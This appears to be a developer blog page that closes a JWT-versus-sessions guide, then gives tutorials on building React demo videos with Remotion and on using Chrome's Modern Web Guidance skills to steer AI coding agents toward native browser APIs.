The short answer to this question is when you need immediate revocation, when your clients are only browsers talking to a single backend, or when the complexity does not pay off.

JWTs vs. server-side sessions: Which should you choose?

JWTs are not the default correct answer for every authentication problem. Here are cases where traditional server-side sessions are a better fit:

Concern	JWT	Server-side session
Scalability (stateless)	Excellent (no DB lookup per request)	Requires session store (Redis, DB)
Revocation	Hard (requires a blocklist)	Trivial (delete the session record)
Token size	Can grow large with many claims	Tiny (just a session ID)
Cross-service auth	Strong fit (verifiable without shared DB)	Harder (requires shared session store or sticky sessions)
Implementation complexity	Higher (needs refresh logic, rotation, storage strategy)	Lower (most frameworks handle it out of the box)
Suitable for mobile/API clients	Yes	Often awkward (cookie-based by default)

When are server-side sessions the better choice?

You have a traditional server-rendered web app (Rails, Django, Laravel, Next.js with server actions). These frameworks have mature, battle-tested session handling built in. Adding JWT on top adds complexity without obvious benefit.
You need to revoke sessions immediately. Logging a user out of all devices, responding to a compromised account, or enforcing role changes mid-session all require instant revocation. JWTs cannot do this without a blocklist.
Your auth surface is a single backend. JWTs shine when multiple services need to verify the same token. If only one server ever reads the token, sessions are simpler.
Your team is not familiar with JWT pitfalls. The alg: none attack, weak secrets, missing expiration claims, and improper storage have all caused real breaches. If you are not going to implement JWTs carefully, sessions are safer by default.

When are JWTs the right choice?

Microservices and distributed architectures where multiple APIs need to verify identity without a shared session store.
Mobile applications and public APIs where stateless, bearer-token authentication is the standard expectation.
Third-party integrations where you need to issue scoped, time-limited credentials to external services.
OAuth 2.0 and OIDC flows where the token format is defined by the protocol.

Frequently Asked Questions

Can I decode a JWT without the secret key?

Yes, the header and payload are only base64url encoded, not encrypted. Anyone can decode them. The signature requires the secret key to verify, but the payload is readable by anyone who has the token. This is why you should never store sensitive data in JWT payloads.

What happens when a JWT expires?

The server rejects it with a 401 Unauthorized response. The client should then attempt a silent refresh using its refresh token. If the refresh token is also expired or invalid, the user must re-authenticate.

Should I validate JWTs on every request?

Yes, always. Signature validation is computationally cheap (especially with RS256 and cached public keys via JWKS). Skipping verification because “we trust the client” defeats the purpose of signing entirely.

Can I use the same JWT for both authentication and authorization?

Yes, and most applications do. The JWT can carry both identity claims (sub, email) and authorization claims (roles, permissions). The key constraint is that embedded claims are static until a new token is issued. If a user’s role changes mid-session, the access token will not reflect that until it expires and is refreshed.

Key Takeaways

JWTs are useful tools in user authorization and authentication, but they’re just standards. They’re not built directly into programming languages or many frameworks. Using them in many cases is based on how you (or the library you choose to generate and handle them) implement JWTs. If you want to learn how to implement them, you can check out our guide on implementing JWT authentication with Vue and Node.js.

For most production applications, the practical path is: short-lived JWTs with RS256 signing, refresh token rotation in HttpOnly cookies, and a clear revocation strategy that matches your risk tolerance.

How to replace screen recordings with Remotion

Chizaram Ken — Invalid Date

See how LogRocket's Galileo AI surfaces the most severe issues for you

No signup required

Check it out

Last month I dived back into the foreign exchange market and noticed a little gap in how lot sizes are calculated and how slow that can be. To be sincere, as a developer, I didn’t even bother looking for an existing tool online, cause if it’s free, then there will be so many ads, and I’m not the biggest fan of ads. I spun up a position-size calculator in Next.js and shipped it.

If I were to document how to use the app, Remotion would be the first that crossed my mind, cause with it I can write the videos in React, render them to MP4 from my terminal, and the whole thing will take less time than one screen recording session used to. When the design changes a week later, I will change two lines of mock data and re-render.

In this article, I’ll walk through the actual build: how I adapted an existing Next.js app for Remotion, built three production demo videos, and used Remotion’s AI agent integration to generate a fourth composition from a natural-language prompt. I’ll also address the setup cost head-on, because it’s real and you should know about it before you commit.

What is Remotion?

Remotion treats video as a React application. You write JSX, use useCurrentFrame() to get the current frame number, animate values with interpolate() and spring(), and compose scenes with <Sequence>. The output is a real PNG and MP4 rendered via headless Chrome and FFmpeg.

If you’ve used React, you already know 80% of what you need. The remaining 20% is these three APIs:

useCurrentFrame(): This returns the current frame number. This is your clock
interpolate(frame, inputRange, outputRange): This maps frame numbers to values. This is how you animate
<Sequence from={60} durationInFrames={150}>: This wraps a section of your composition in a time window. This is how you choreograph

Remotion Studio gives you a browser-based preview with timeline scrubbing and hot reload. You see your video update as you write code, the same way you see a React app update in dev mode.

Remotion is not new, but most React devs still don’t know it exists because every existing article is either a docs walkthrough or a showcase of fancy animations. Nobody has taken a real product demo workflow and documented how Remotion replaces the screen recorder with code.

That’s what this piece does.

What does it take to set up Remotion?

One command to render a video sounds clean, but getting there requires adapting your app components for Remotion’s rendering environment. Here’s what that actually looks like.

Why do Remotion components need to be pure?

Remotion renders each frame as a static React component. That means there are no useState, useEffect, event listeners, browser APIs like localStorage, and Next. js-specific features like useRouter. Your components need to read everything from props.

For my calculator app, this meant creating adapted versions of four components. The original Calculator component had reactive state management, keyboard listeners, and localStorage for history tracking. The Remotion version, RemotionCalculator, strips all of that and reads input values directly from props:

// Original: manages its own state
const Calculator = () => {
  const [accountSize, setAccountSize] = useState(10000);
  const [riskPercent, setRiskPercent] = useState(2);
  // ... event handlers, localStorage, etc.
};

// Remotion version: pure component, reads from props
const RemotionCalculator = ({
  accountSize,
  riskPercent,
  stopLoss,
  pair,
}: CalculatorProps) => {
  const result = calculate(accountSize, riskPercent, stopLoss, pair);
  // ... render with result, no state needed
};

The ResultsCard, PairSelector, and RiskQuickSelect components needed similar treatment. Total adaptation time: about 15 minutes. The shared calculation logic in lib/calculate.ts worked in both environments without changes, which is exactly why keeping business logic in pure functions pays off.

Why does Remotion use mock data?

Screen recording uses your live app. Remotion uses mock data passed as props. For each demo video, I created a mock file with the exact values I wanted to show:

// remotion/mocks/featureWalkthroughMocks.ts
export const calculatorStates = {
  initial: { accountSize: 0, riskPercent: 0, stopLoss: 0, pair: 'EUR/USD' },
  filled: { accountSize: 10000, riskPercent: 3, stopLoss: 50, pair: 'EUR/USD' },
};

Three mock files, 90 lines total. The upside is that changing one JSON object produces a different video without touching the composition code.

What is an action timeline in Remotion?

This is the part that replaces mouse clicks. I built a useActionTimeline hook that scripts UI interactions frame-by-frame:

// "At frame 150, start filling the account size field"
// "At frame 300, start filling the risk percentage"
// "At frame 450, start filling the stop loss"
const timeline = [
  { startFrame: 150, endFrame: 300, field: 'accountSize', from: 0, to: 10000 },
  { startFrame: 300, endFrame: 450, field: 'riskPercent', from: 0, to: 3 },
  { startFrame: 450, endFrame: 600, field: 'stopLoss', from: 0, to: 50 },
];

This is deterministic and reproducible. “At frame X, do Y” beats “click the input and hope the timing matches” every time. The hook is 65 lines and reusable across every composition.

How much setup does Remotion require?

Setup task	Time	Reusable?
Adapted 4 components	15 min	Yes, across all videos
Created mock data (3 files)	10 min	Yes, swap data for new videos
Built action timeline hook	15 min	Yes, universal pattern
Remotion install + config	45 min	Yes, one-time
Total	~85 min	All reusable

The first video costs you. Every video after that is just a new composition file with different mock data and a different timeline. That’s the trade-off.

How do you build product demo videos with Remotion?

I built these three compositions for a forex position-size calculator app running on Next.js 15 with TypeScript and Tailwind CSS. Every composition reuses the same adapted components and mock data layer from the setup phase.

Video 1: Feature walkthrough (30 seconds)

This is the core demo. It shows a user filling in the calculator fields step-by-step, with animated highlights and a results card that fades in at the end.

The composition breaks down into frame-based phases:

const FeatureWalkthrough = () => {
  const frame = useCurrentFrame();

  // Phase 1: Title card (frames 0-150)
  const titleOpacity = interpolate(frame, [0, 60], [0, 1], {
    extrapolateRight: 'clamp',
  });

  // Phase 2: Account size fills (frames 150-300)
  const accountSize = interpolate(frame, [150, 300], [0, 10000], {
    extrapolateLeft: 'clamp',
    extrapolateRight: 'clamp',
    easing: Easing.inOut(Easing.cubic),
  });

  // Phase 3: Results reveal (frames 600-750)
  const resultsOpacity = interpolate(frame, [600, 680], [0, 1], {
    extrapolateLeft: 'clamp',
    extrapolateRight: 'clamp',
  });

  return (
    <AbsoluteFill style={{ backgroundColor: '#0a0a0a' }}>
      <Sequence from={0} durationInFrames={150}>
        <TitleCard opacity={titleOpacity} />
      </Sequence>
      <Sequence from={150} durationInFrames={600}>
        <RemotionCalculator
          accountSize={Math.round(accountSize)}
          riskPercent={riskPercent}
          stopLoss={stopLoss}
          pair="EUR/USD"
        />
      </Sequence>
      <Sequence from={600} durationInFrames={300}>
        <RemotionResultsCard opacity={resultsOpacity} />
      </Sequence>
    </AbsoluteFill>
  );
};

The input values animate using Easing.inOut(Easing.cubic) for a natural feel. The results card fades in with a spring animation. Callout labels appear at strategic frames to guide the viewer’s attention. Total: 238 lines of code.

What was easier than expected: <Sequence> components handle timing so cleanly that I didn’t need to manually calculate frame ranges. You just say “start at frame 150, run for 600 frames” and nest your component inside.

What was harder than expected: Remotion’s bundler doesn’t recognize Next.js @/ path aliases. I had to change all imports to relative paths. Took 5 minutes, but felt like a gotcha that should be documented, or is it just me?.

Video 2: Changelog recap (45 seconds)

This composition reads five changelog entries from a mock data file and renders each as an animated card with staggered timing.

// The data drives the video. Change entries, get a different video
const changelogEntries = [
  { date: 'Jul 2, 2026', title: 'Add Risk Meter Visual', category: 'feature' },
  { date: 'Jun 28, 2026', title: 'Improve Mobile Responsiveness', category: 'improvement' },
  { date: 'Jun 20, 2026', title: 'Fix Exchange Rate Caching Bug', category: 'bugfix' },
  // ... 2 more entries
];

Each card slides in from the left with an opacity transition, staggered by 150 frames (5 seconds per entry). Category tags are color-coded: blue for features, green for improvements, orange for bug fixes. A title slide opens the video, and a “See you next month” slide closes it. 166 lines total.

The point of this composition isn’t technical complexity. It’s the workflow: update a JSON file with this month’s changes, run npx remotion render, and you have a changelog video monthly

Video 3: Bug fix before/after (30 seconds)

Side-by-side comparison. Left panel shows the “broken” version with input overflow on mobile viewports. Right panel shows the fixed version with proper responsive padding. Both animate in sync, same inputs, same timing, different layouts.

The synchronized animation is the part that no screen recording could produce without manual video editing. In Remotion, both sides use the same interpolate() calls with the same frame ranges, so they’re perfectly in sync by definition. 173 lines.

How do you render videos in Remotion?

npx remotion render remotion/index.ts feature-walkthrough output/feature-walkthrough.mp4
npx remotion render remotion/index.ts changelog-recap output/changelog-recap.mp4
npx remotion render remotion/index.ts bug-fix-comparison output/bug-fix-comparison.mp4

Total rendering time: 2 minutes 40 seconds for 120 seconds of video. Total file size: 7.6 MB.

How do AI coding agents work with Remotion?

In January 2026, Remotion launched Agent Skills, a set of 28 modular rule files that teach AI coding agents like Claude Code how to write correct Remotion code. The skill hit 150,000 installs on skills.sh within eight weeks, making it the most-installed skill not made by a platform company. The demo video got 6 million views on X within 48 hours.

The practical shift: instead of learning Remotion’s API from scratch, you describe what you want in plain English, and your AI agent writes the composition. The skill covers component patterns, transition types, animation primitives, and audio integration.

I tested this in a completely different project, my AI dev tool power rankings app. I installed Remotion, loaded the agent skills, and gave Claude Code a single prompt to generate a 25-second video with two sections: AI model rankings by WebDev Arena Elo, then a cross-fade transition into AI tool rankings. Both sections use real data from the June 2026 power rankings article.

The prompt was roughly this:

“Create a 25-second animated video for the June 2026 AI Dev Tool Power Rankings. Section 1: AI Model Rankings by Elo — Claude Opus 4.7 (1567), Qwen 3.7 Max (1541), Claude Opus 4.6 (1538), Claude Sonnet 4.6 (1523), GPT-5.5 (1505). Section 2: AI Tool Rankings — OpenCode #1, Cursor #2, Claude Code #3, Windsurf #4, Antigravity #5. Gold bar for #1, blue-gray for the rest. Staggered animations, cross-fade transition between sections, dark theme.”

Claude Code generated AiPowerRankings.tsx (207 lines) in about 7 minutes. It compiled and rendered without errors on the first pass. All 750 frames, zero fixes.

What makes this interesting is what Claude Code had to figure out on its own. The prompt didn’t specify font sizes, padding, bar height, transition duration, or how to handle independent animation timing across two sections. Claude Code chose 48px titles, 36px bar heights, 24px gaps, spring() with damping of 0.8 for the bar animations, and a 30-frame cross-fade using absolute positioning with opacity interpolation. It also built a reusable Section component that renders both halves of the video from different data arrays, so adding a third section (benchmarks, for example) would be one more component call.

What a human would tweak: transition speed (30 frames might be too slow or too fast depending on preference), bar height consistency if embedding alongside other videos, and whether the emoji movement indicators (🆕, ⬇️, ↔️) render cleanly at export resolution.

My honest take: For data-driven compositions with straightforward animations, AI generation is faster than writing by hand. 7 minutes from prompt to rendered MP4 with two animated sections and a cross-fade transition. But for complex multi-scene choreography or pixel-perfect brand compliance, you’d still want manual control. The real win is the monthly update cycle: when the July 2026 rankings drop, I change 10 lines of data in two arrays and re-render. The video stays current with the written article.

Is Remotion worth it for product demos?

How long does Remotion take to render videos?

Composition	Duration	Render time	File size	Lines of code
Feature Walkthrough	30s	~40s	1.5 MB	257
Changelog Recap	45s	~55s	3.8 MB	164
Bug Fix Comparison	30s	~40s	1.5 MB	199
AI Power Rankings	25s	~2.5 min	1.7 MB	207
Total	130s	~4 min	8.5 MB	827

Local rendering is free but uses your CPU. Remotion Lambda on AWS is faster but costs real money at scale.

How is Remotion licensed?

This matters, and most articles skip it. Remotion is not MIT licensed. The current terms:

Free for individuals and companies with three or fewer developers
$25/seat/month for companies with four or more developers (minimum $100/month)
Cloud rendering via Remotion Lambda is separate, pay-per-minute on AWS

Is Remotion faster than screen recording?

Video	Remotion	Screen recording	Winner
First video	~35 min (setup + code + render)	~20 min (record, edit, export)	Screen recording
Second video	~15 min (new composition + render)	~45 min (record, sync, edit)	Remotion (3×)
Third video	~20 min	~30 min	Remotion
Fifth video (data change only)	~10 min	~30 min (full re-record)	Remotion (3×)

The ROI curve crosses after the second video. By the fifth, Remotion is consistently three times faster because you’re reusing components and compositions. The compounding advantage is that screen recordings become stale the moment your UI changes. Remotion videos are code; they stay current.

When should you use screen recording instead of Remotion?

Remotion replaces the videos you produce repeatedly, not the ones you capture once and throw away. Screen recording wins for one-off internal demos where polish doesn’t matter, user-testing sessions where you need real user interaction, anything involving live external services you can’t mock (OAuth flows, third-party integrations), and quick Loom-style walkthroughs for async team communication.

The question to ask: “Will I need to produce this video again?” If yes, Remotion. If no, screen recording.

What are the most common Remotion pitfalls?

Next.js path aliases break in Remotion’s bundler: Remotion’s webpack config doesn’t understand tsconfig.json path mapping. Fix: use relative imports in your Remotion components
Zod version mismatches: Remotion is strict about peer dependencies. If you get version errors, install the exact version Remotion requires (in my case, [email protected])
Config API changes between versions: The docs online may be ahead of your installed version. Config.setFramerate doesn’t exist in v4. Fix: use composition-level defaults and check your package.json version before copying from docs
Interpolate defaults to linear easing: Your animations will look robotic until you explicitly set easing curves. Always pass Easing.out(Easing.cubic) or similar. Linear is rarely the right choice for UI animations
Composition duration is not render time: A 30-second video (900 frames at 30fps) takes about 40 seconds to render, not 30. The extra time is encoding overhead. Don’t panic when the progress bar seems slow

Should you use Remotion for product demo videos?

Remotion turns video production into a frontend development task, but this is something that will help technical writers with frontend skills. The three demos I built- feature walkthrough, changelog recap, bug fix comparison, plus the AI-generated power rankings video- total 130 seconds of video from 827 lines of composition code. All four compositions rendered in under 4 minutes.

The setup cost is a bit too much: 85 minutes of component adaptation, mock data creation, and configuration before the first video exists. But that cost is amortized across every video you produce after that. By the second composition, you’re faster than screen recording. By the fifth, you’re three times faster. What’s your take on remotion? What do you think I may have missed out? I would love to hear from you.

#react

How to use Chrome’s Modern Web Guidance to prevent AI agents from writing legacy frontend code

Emmanuel John — Invalid Date

See how LogRocket's Galileo AI surfaces the most severe issues for you

No signup required

Check it out

AI coding agents are useful, but they have a familiar failure mode: They often solve modern frontend problems with legacy patterns.

Ask an agent to build a modal, tooltip, responsive card layout, or long-running search interaction, and it may reach for extra JavaScript, older browser APIs, or another dependency. Sometimes that is the right tradeoff. But often, the browser can already solve the problem with native HTML, CSS, or platform APIs.

That gap exists because the web platform changes faster than model training data. New features ship, syntax changes, browser support improves, and best practices evolve. A model may not know the feature exists, or it may know about the feature but use outdated syntax or recommend fallbacks your project does not need.

Chrome’s Modern Web Guidance is designed to close that gap. It is a set of agent skills from the Chrome team that embeds modern web platform guidance, browser compatibility data, and best practices directly into AI coding workflows. Instead of relying only on the model’s training data, your agent can retrieve relevant guidance before it writes code.

In this article, we’ll set up Modern Web Guidance, configure a browser support target, and compare two generated task manager apps: one built with a standard AI coding agent and one built with Modern Web Guidance enabled. The goal is not to prove that native APIs are always better than libraries. It is to show how better guidance can help agents choose simpler, more current frontend solutions when the platform already supports them.

Prerequisites

To follow along, you’ll need:

- Node.js 18 or later

- A supported AI coding agent, such as Antigravity, Gemini CLI, Claude Code, Copilot CLI, or another tool that supports agent skills

- A frontend project to test against. This article uses a React/Next.js project, but the guidance itself is not React-specific

Why AI coding agents ship legacy web code

Large language models have a basic limitation: Their knowledge has a cutoff date. Even when an agent can search or retrieve documentation, it may still default to familiar patterns from its training data unless the workflow explicitly tells it to check modern platform guidance.

This creates two common failure modes:

- The agent does not know a newer browser feature exists. For example, it may install a tooltip library instead of considering CSS Anchor Positioning or the Popover API.

- The agent knows the feature exists, but uses the wrong syntax or support assumptions. This can lead to broken attributes, incomplete fallbacks, or code that works only in a narrow browser target.

Legacy code has real costs. It can increase bundle size, add maintenance overhead, introduce more failure points, and make performance harder to reason about. Over time, those small choices accumulate into a frontend that is more complex than it needs to be.

You might assume that retrieval-augmented generation (RAG) solves this. RAG can help, but it still pushes a lot of work onto the developer. You have to find the right documentation, keep it current, and make sure the model can reason over it correctly for each task.

Modern Web Guidance takes a more structured approach. It packages expert-curated guidance into skills that an agent can discover and retrieve as part of its normal coding loop.

At a high level, it helps agents:

- Avoid outdated frontend patterns

- Prefer native HTML, CSS, and browser APIs when they are a good fit

- Apply accessibility and UI guidance more consistently

- Consider performance metrics such as Interaction to Next Paint (INP) and Largest Contentful Paint (LCP)

- Follow security best practices around areas such as Content Security Policy (CSP), cookies, and cross-origin isolation

- Match recommendations to the project’s declared browser support target

What Modern Web Guidance changes in practice

Without Modern Web Guidance, an agent may treat a native browser feature as an edge case and solve the problem with a dependency. With Modern Web Guidance, the same agent is more likely to ask: “Can the platform do this already?”

That difference matters because it changes the default decision path. The agent can still choose a library when browser support, product requirements, or team constraints make that the better option. But the library is no longer the automatic first answer.

Modern Web Guidance covers several areas of frontend development:

Discipline	What the agent can retrieve guidance on
User experience	View Transitions, entry and exit animations, scroll-driven effects, and native interaction patterns
CSS layout	Container queries, `subgrid`, anchor positioning, intrinsic sizing, and modern color spaces like `oklch`
Performance	INP diagnostics, `scheduler.yield()`, background task scheduling, and image/resource prioritization
Forms and UI	Native `<dialog>`, the Popover API, form validation states, and accessible UI behavior
Accessibility	Focus management, semantic HTML, accessible errors, keyboard behavior, and ARIA usage
Security and privacy	CSP, cookies, cross-origin isolation, data minimization, and safer defaults
Built-in AI	On-device translation, summarization, and language detection APIs where available

Chrome’s documentation describes Modern Web Guidance as an early preview, so treat it as a fast-moving tool rather than a static reference. That makes the installation and update path important.

Setting up Modern Web Guidance

The recommended installation path is the modern-web-guidance CLI, which installs the skill files and keeps them updated.

Open your terminal and run:

npx modern-web-guidance@latest install

The installer guides you through setup and lets you choose where the skills should be available. Depending on your workflow, you can install the guidance globally or into a specific project.

A project-level install is a good default when you want the guidance to travel with one codebase. A global install is useful if you want the same guidance available across multiple projects and agents on your machine.

Install directly into a specific agent

You can also install Modern Web Guidance directly for specific coding agents.

For Gemini CLI, run:

gemini extensions install https://github.com/GoogleChrome/modern-web-guidance --auto-update

For Antigravity CLI, run:

agy plugin install https://github.com/GoogleChrome/modern-web-guidance

For Claude Code, add the marketplace, install the plugin, and reload plugins:

/plugin marketplace add GoogleChrome/modern-web-guidance
/plugin install modern-web-guidance@googlechrome
/reload-plugins

For Copilot CLI, add the marketplace and install the plugin:

/plugin marketplace add GoogleChrome/modern-web-guidance
/plugin install modern-web-guidance@googlechrome

For GitHub CLI, run:

gh skill install GoogleChrome/modern-web-guidance

For Vercel Skills, run:

npx skills add GoogleChrome/modern-web-guidance

The exact install path depends on the agent, but the result is the same: Your coding agent gains access to a skill that can search and retrieve modern web platform guidance before implementing a task.

Verify the installation

After installation, confirm that the skill is available to your agent. Depending on your install method, you may see generated skill files in your project or user-level agent configuration directory.

Modern Web Guidance also exposes CLI commands you can use to explore the guide library directly. For example, you can search for guidance on animating a dialog modal:

npx modern-web-guidance@latest search "animate a dialog modal backdrop"

Then retrieve a specific guide by ID:

npx modern-web-guidance@latest retrieve "animate-to-from-top-layer"

This is useful even before you wire the skill into an agent. It lets you inspect the guidance your agent will receive and verify that the relevant use cases exist for the feature you are building.

Set a Baseline target

Modern Web Guidance is most useful when it knows what browsers your project supports. Otherwise, it has to be conservative.

By default, Modern Web Guidance targets Baseline Widely available. That means the agent will usually include progressive enhancement patterns, fallbacks, or conditional loading where a feature is not broadly supported.

If your project targets a newer browser set, declare that explicitly in your agent instruction file, such as AGENTS.md, CLAUDE.md, or .gemini/GEMINI.md:

This project's Baseline target is Baseline 2024.

You can also add project-specific support context:

# Browser support target

This project's Baseline target is Baseline 2024.
Prefer native browser APIs when they meet this target.
Use progressive enhancement for newer or limited-availability features.

This helps the agent decide when it can use a modern feature directly and when it should include a fallback. For example, an internal dashboard locked to recent Chromium browsers can make different choices than a public consumer app that needs broad Safari and Firefox support.

The important part is that the browser target becomes part of the agent’s context. Without it, the agent may either over-polyfill or use a feature too aggressively.

Testing Modern Web Guidance in a sample app

To see what Modern Web Guidance changes in practice, I created two copies of the same initialized Next.js project:

taskmanager1: Built without Modern Web Guidance
taskmanager2: Built with Modern Web Guidance enabled

I used Gemini CLI with the same model settings in both environments and gave both agents the same prompt:

Build a Task Manager app. It should have:

- A modal for adding tasks with smooth entrance and exit animations.
- Task cards that stack vertically in a sidebar but show full details in the main area.
- A search bar that filters 2,000 tasks without lagging the UI.
- A Help tooltip tethered to the Status icon that flips if it hits the viewport edge.

The same prompt was run against two copies of the project: one without Modern Web Guidance and one with the skill enabled.

The most interesting difference was not just the final code. It was the agent’s decision process.

Without Modern Web Guidance, the agent treated UI complexity as a signal to add libraries. With Modern Web Guidance installed, the agent added a research step to look for relevant browser-native patterns before implementing the feature.

With Modern Web Guidance enabled, the agent retrieved relevant platform guidance before choosing an implementation approach.

Comparing the results

Here is how the two builds differed:

Feature	`taskmanager1` without guidance	`taskmanager2` with guidance
Modal animation	Used a custom modal implementation with JavaScript state and transition timing	Used native `<dialog>` with modern CSS entry/exit animation patterns
Task cards	Used media queries, which made the layout dependent on viewport width	Used CSS Container Queries, so cards adapted to the sidebar container
Search filter	Used React memoization and timer-based logic, but still relied on synchronous filtering	Used `scheduler.yield()` to break work into chunks and keep the UI responsive
Help tooltip	Used a floating UI dependency for positioning and edge flipping	Used CSS Anchor Positioning where supported by the project target

The biggest change was dependency pressure. In taskmanager1, the agent added extra JavaScript to solve UI interactions that the browser can increasingly handle on its own. In taskmanager2, the agent used the Modern Web Guidance skill to identify native equivalents and avoid additional UI positioning and animation packages for these features.

That does not mean every app should remove every UI dependency. Libraries still matter when you need broader browser support, mature accessibility abstractions, complex design-system behavior, or consistent cross-framework APIs. The point is that the agent made a more informed tradeoff.

The tooltip requirement asked for a Help tooltip tethered to the Status icon that flips when it reaches the viewport edge.

Without Modern Web Guidance

The unguided agent installed a positioning library and wrote a hook-based component:

import { useFloating, flip, shift, offset } from '@floating-ui/react';

export function StatusTooltip({ children }) {
  const { refs, floatingStyles } = useFloating({
    placement: 'top',
    middleware: [offset(10), flip(), shift()],
  });

  return (
    <>
      <div ref={refs.setReference} className="status-icon">i</div>
      <div ref={refs.setFloating} style={floatingStyles} className="tooltip">
        {children}
      </div>
    </>
  );
}

This is not inherently wrong. Floating UI is a strong option when you need robust positioning across browsers and complex interactions. But for a simple tooltip in a modern-browser target, it may be more than the feature requires.

With Modern Web Guidance

The guided agent recognized CSS Anchor Positioning as a possible fit. A simplified version looks like this:

export function StatusTooltip({ children }) {
  return (
    <>
      <div className="status-icon">i</div>
      <div className="tooltip" role="tooltip">
        {children}
      </div>
    </>
  );
}

.status-icon {
  anchor-name: --status-icon;
}

.tooltip {
  position: absolute;
  position-anchor: --status-icon;
  position-area: top;
  position-try-fallbacks: flip-block;
  margin-bottom: 10px;
}

The implementation moves positioning work out of JavaScript and into CSS. That makes the code smaller and easier to inspect. However, this is also where the Baseline target matters. If your app needs browsers that do not fully support CSS Anchor Positioning, you still need a progressive enhancement strategy or a library fallback.

The modal requirement asked for smooth entrance and exit animations. The two builds solved that at different layers of the stack.

Without Modern Web Guidance

The unguided agent used createPortal, a shouldRender flag, and a setTimeout to keep the modal mounted long enough for the exit animation to finish:

export const Modal = ({ isOpen, onClose, title, children }: ModalProps) => {
  const [shouldRender, setShouldRender] = useState(isOpen);

  useEffect(() => {
    if (isOpen) {
      setShouldRender(true);
      document.body.style.overflow = 'hidden';
    } else {
      const timer = setTimeout(() => {
        setShouldRender(false);
        document.body.style.overflow = 'auto';
      }, 300);

      return () => clearTimeout(timer);
    }
  }, [isOpen]);

  if (!shouldRender) return null;

  return createPortal(
    <div className={`${styles.overlay} ${isOpen ? styles.open : ''}`} onClick={onClose}>
      <div
        className={`${styles.modal} ${isOpen ? styles.open : ''}`}
        onClick={(event) => event.stopPropagation()}
      >
        {children}
      </div>
    </div>,
    document.body
  );
};

The fragile part is the 300 millisecond timer. The JavaScript timeout and the CSS transition duration have to stay in sync manually. If someone changes the animation duration in CSS, the JavaScript can fall out of sync.

With Modern Web Guidance

The guided version used the native <dialog> element and let the browser handle top-layer behavior. In React, you still need a small amount of JavaScript to open and close the dialog, but you no longer need a custom render timer or portal layer:

import { useEffect, useRef } from 'react';

export function TaskModal({ open, onClose, children }: TaskModalProps) {
  const dialogRef = useRef<HTMLDialogElement>(null);

  useEffect(() => {
    const dialog = dialogRef.current;
    if (!dialog) return;

    if (open && !dialog.open) {
      dialog.showModal();
    }

    if (!open && dialog.open) {
      dialog.close();
    }
  }, [open]);

  return (
    <dialog ref={dialogRef} onClose={onClose}>
      <form method="dialog">
        {children}
        <button type="submit">Create task</button>
        <button type="button" onClick={() => dialogRef.current?.close()}>
          Cancel
        </button>
      </form>
    </dialog>
  );
}

Then CSS handles the entry and exit animation:

dialog {
  opacity: 0;
  transform: scale(0.96);
  transition:
    display 0.4s,
    overlay 0.4s,
    opacity 0.4s ease,
    transform 0.4s ease;
  transition-behavior: allow-discrete;
}

dialog[open] {
  opacity: 1;
  transform: scale(1);
}

@starting-style {
  dialog[open] {
    opacity: 0;
    transform: scale(0.96);
  }
}

dialog::backdrop {
  background: rgb(0 0 0 / 40%);
}

There is no render timeout to maintain. The browser’s top layer handles important modal behavior, including focus handling and backdrop rendering. You should still test keyboard behavior, focus return, and screen reader output, but the implementation starts from a stronger native primitive.

Code comparison: Search performance

The prompt asked for a search bar that filters 2,000 tasks without lagging the UI. This is an INP problem: if a synchronous loop blocks the main thread, the browser cannot respond to input or paint the next frame until the work finishes.

Without Modern Web Guidance

The unguided agent wrapped the filter in useMemo:

const filteredTasks = useMemo(() => {
  return tasks.filter((task) =>
    task.title.toLowerCase().includes(searchTerm.toLowerCase()) ||
    task.description.toLowerCase().includes(searchTerm.toLowerCase())
  );
}, [tasks, searchTerm]);

useMemo avoids unnecessary recalculation across renders, but it does not make the filtering work non-blocking. When searchTerm changes, the full filter still runs synchronously on the main thread. This is one of the React patterns that quietly kills performance at scale.

With Modern Web Guidance

The guided agent used scheduler.yield() to break the loop into smaller chunks. That gives the browser a chance to handle user input and paint between batches:

useEffect(() => {
  let cancelled = false;

  const filterTasks = async () => {
    setIsFiltering(true);

    const query = searchQuery.toLowerCase();
    const results: Task[] = [];

    for (let index = 0; index < tasks.length; index++) {
      if (index > 0 && index % 50 === 0) {
        if ('scheduler' in window && 'yield' in window.scheduler) {
          await window.scheduler.yield();
        } else {
          await new Promise(requestAnimationFrame);
        }
      }

      const task = tasks[index];
      const title = task.title.toLowerCase();
      const description = task.description.toLowerCase();

      if (title.includes(query) || description.includes(query)) {
        results.push(task);
      }
    }

    if (!cancelled) {
      setFilteredTasks(results);
      setIsFiltering(false);
    }
  };

  filterTasks();

  return () => {
    cancelled = true;
  };
}, [searchQuery, tasks]);

The important change is not just the API choice. The agent reasoned about the interaction as a responsiveness problem rather than a React rendering problem. That led to a different implementation strategy: split long work so the browser can keep responding.

For production, you would still test this with realistic data and devices. For very large datasets, server-side search, indexing, virtualization, or a Web Worker may be more appropriate. But for this demo, Modern Web Guidance moved the agent toward the right performance question.

Where you still need developer judgment

Modern Web Guidance improves the agent’s starting point, but it does not remove the need for review. The guidance can help an agent discover modern browser features, but you still need to validate whether those choices fit your product.

Before shipping AI-generated frontend code, review the following:

Question	Why it matters
Does this match our browser support target?	A native API may be appropriate for an internal Chrome-only app but risky for a broad public audience.
Is the fallback strategy clear?	Newer features often need progressive enhancement or conditional loading.
Is the accessibility behavior complete?	Native elements help, but you still need to test keyboard behavior, focus order, labels, and announcements.
Did the agent reduce complexity or just move it?	A smaller dependency list is only useful if the resulting code is easier to maintain.
Did we test the actual user path?	Generated code can look modern while still failing in edge cases.

This is the right mental model: Modern Web Guidance helps the agent ask better questions. It does not replace code review, browser testing, or product-specific tradeoff decisions.

Conclusion

AI coding agents are only as good as the context they use. Without current web platform guidance, they often reach for familiar solutions: extra dependencies, JavaScript-heavy UI code, or older patterns that made sense before newer browser APIs were available.

Chrome’s Modern Web Guidance gives those agents a more current decision path. In the task manager demo, that changed the output in concrete ways: The agent used native <dialog> patterns for modal behavior, CSS Container Queries for component-level responsiveness, CSS Anchor Positioning for the tooltip, and scheduler.yield() to keep filtering responsive. The result was not just less code. It was a different default: check what the browser can do first, then add a dependency only when the project actually needs one.

The main takeaway is not that native APIs should always replace libraries. The takeaway is that AI-generated code needs modern constraints. Install the guidance, declare your Baseline target, and review the output against your real browser support, accessibility, and performance requirements.

You can explore the source code for both demo applications below:

taskmanager1: The implementation generated without Modern Web Guidance
taskmanager2: The implementation generated with Modern Web Guidance enabled

How to clean up AI-generated code with Fallow

David Omotayo — Invalid Date

See how LogRocket's Galileo AI surfaces the most severe issues for you

No signup required

Check it out

